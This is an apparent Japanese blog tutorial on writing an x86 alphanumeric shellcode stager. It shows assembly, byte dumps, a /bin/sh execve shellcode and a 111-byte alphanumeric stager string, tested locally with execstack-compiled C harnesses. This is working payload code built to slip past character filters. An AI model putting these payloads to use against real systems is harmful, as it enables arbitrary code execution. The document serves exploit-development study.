x86 alphanumeric shellcode stagerを書いてみる

「x86 alphanumeric shellcodeを書いてみる」では、アルファベットと数字のみを使ったシェルコードでシェル起動を行った。 任意のシェルコードを実行する場合も同様にしてalphanumericな形に変換すればよいが、別の方法としてshellcode stagerを使うこともできる。 具体的には、alphanumeric shellcodeで入力を受け付け、そこに追加で送り込んだシェルコードに処理を移すことで、任意のシェルコード実行を行う。 ここでは、alphanumericなshellcode stagerを作り、任意のシェルコード実行をやってみる。

shellcode stagerを書いてみる

まずは、readシステムコールを使い標準入力からデータを読み込むshellcode stagerを書いてみる。

        /* stager.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* read(0, _start+17, 65536) */
        xor ebx, ebx
        lea edx, [ebx+1]
        shl edx, 16
        lea ecx, [esp+17]  /* assume esp = _start */
        lea eax, [ebx+3]
        int 0x80

上のコードは、実行時にespがシェルコードの先頭を指していることを前提とした上で、int 0x80の次に標準入力から読み込んだシェルコードを置くものである。

アセンブルしてバイト列に変換すると次のようになる。

$ gcc -nostdlib stager.s

$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       31 db                   xor    ebx,ebx
 804809a:       8d 53 01                lea    edx,[ebx+0x1]
 804809d:       c1 e2 10                shl    edx,0x10
 80480a0:       8d 4c 24 11             lea    ecx,[esp+0x11]
 80480a4:       8d 43 03                lea    eax,[ebx+0x3]
 80480a7:       cd 80                   int    0x80

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80

このshellcode stagerをスタック上に置き、ジャンプするプログラムを書くと次のようになる。

/* shellcode.c */

int main()
{
    char shellcode[] = "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80";
    __asm__("mov esp, %0\n\t"
            "jmp esp"
            :
            : "r" (shellcode));
}

ここでは、espにシェルコードの先頭アドレスが入るようにGNUインラインアセンブラを使っている。

GNUインラインアセンブラintel記法で解釈されるよう-masm=intelオプションを付け、DEP無効でコンパイルしてみる。 さらに、普通のシェルコードを標準入力から送り込み実行してみる。

$ gcc -masm=intel -z execstack shellcode.c

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ (cat execve; cat) | ./a.out
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

shellcode stagerが標準入力から与えたシェルコードを読み込み、シェルが起動できていることが確認できた。

straceで動作を確認してみる

straceコマンドを使い、上でシェル起動が行われるときのシステムコール呼び出しをトレースしてみる。

$ (cat execve; cat) | strace ./a.out
execve("./a.out", ["./a.out"], [/* 17 vars */]) = 0
...
read(0, "1\322Rh//shh/bin\211\343RS\211\341\215B\v\315\200", 65536) = 24
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...
read(0, "
[CTRL+D]
", 8192)                       = 0
exit_group(0)                           = ?

readシステムコールにより標準入力からシェルコードが読み込まれ、そのシェルコードが実行されていることが確認できる。

alphanumeric shellcodeにしてみる

「x86 alphanumeric shellcodeを書いてみる」と同様の方法で、shellcode stagerをalphanumericな形に書き換えてみる。

$ echo -en "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80" | od -tx4z
0000000 538ddb31 10e2c101 11244c8d cd03438d  >1..S.....L$..C..<
0000020 00000080                             >.<
0000021
        /* alnum_stager.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* set buffer register to ecx */
        push eax
        pop ecx

prepare_registers:
        push 0x30
        pop eax
        xor al, 0x30
                  /* omit eax, ecx */
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push ecx  /* esi = buffer */
        push eax
        popad
        dec edx   /* edx = 0xffffffff */

patch_ret:
        /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */
        push edx
        pop eax
        xor al, 0x44
        xor [esi+0x6e], al

build_stack:
        /* push 0x80 */
        push edx
        pop eax
        xor al, 0x30
        xor al, 0x4f
        push eax

        /* push 0xcd03438d */
        push edx
        pop eax
        xor eax, 0x41303030
        xor eax, 0x73337342
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x11244c8d */
        push ebx
        pop eax
        xor eax, 0x41413430
        xor eax, 0x50657842
        push eax
        push esp
        pop ecx
        xor [ecx], dh

        /* push 0x10e2c101 */
        push ebx
        pop eax
        xor eax, 0x41444430
        xor eax, 0x51597a31
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x538ddb31 */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x63426570
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        push esp

ret:
        .byte 0x78

このコードは、eaxレジスタにシェルコードの先頭アドレスが入っていることを前提とする。 eaxレジスタ以外に先頭アドレスが入っている場合は、push eaxに対応する最初の1バイトを書き換える。

アセンブルしてバイト列を確認すると、すべてアルファベットと数字にできていることが確認できる。

$ gcc -nostdlib alnum_stager.s

$ objdump -s a.out

a.out:     file format elf32-i386

Contents of section .note.gnu.build-id:
 8048074 04000000 14000000 03000000 474e5500  ............GNU.
 8048084 97268d23 84635593 60a48ca1 e12fbe50  .&.#.cU.`..../.P
 8048094 cc5be53b                             .[.;
Contents of section .text:
 8048098 50596a30 58343050 50505051 50614a52  PYj0X40PPPPQPaJR
 80480a8 58344430 466e5258 3430344f 50525835  X4D0FnRX404OPRX5
 80480b8 30303041 35427333 73505459 41303141  000A5Bs3sPTYA01A
 80480c8 30315358 35303441 41354278 65505054  01SX504AA5BxePPT
 80480d8 59303153 58353044 44413531 7a595150  Y01SX50DDA51zYQP
 80480e8 54594130 31413031 53583541 41303035  TYA01A01SX5AA005
 80480f8 70654263 50545941 30314130 315478    peBcPTYA01A01Tx

$ strings -n8 a.out
PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx

このシェルコードの長さは111バイトである。

できあがったシェルコードをスタック上に置き、ジャンプするプログラムを書くと次のようになる。

/* shellcode2.c */

int main()
{
    char shellcode[] = "PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx";
    (*(void (*)())shellcode)();
}

DEP無効でコンパイルし、最初の例と同様に普通のシェルコードを標準入力から送り込んで実行してみる。

$ gcc -z execstack shellcode2.c

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ (cat execve; cat) | ./a.out
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

alphanumericなshellcode stagerから、任意のシェルコードが実行できていることが確認できた。

関連リンク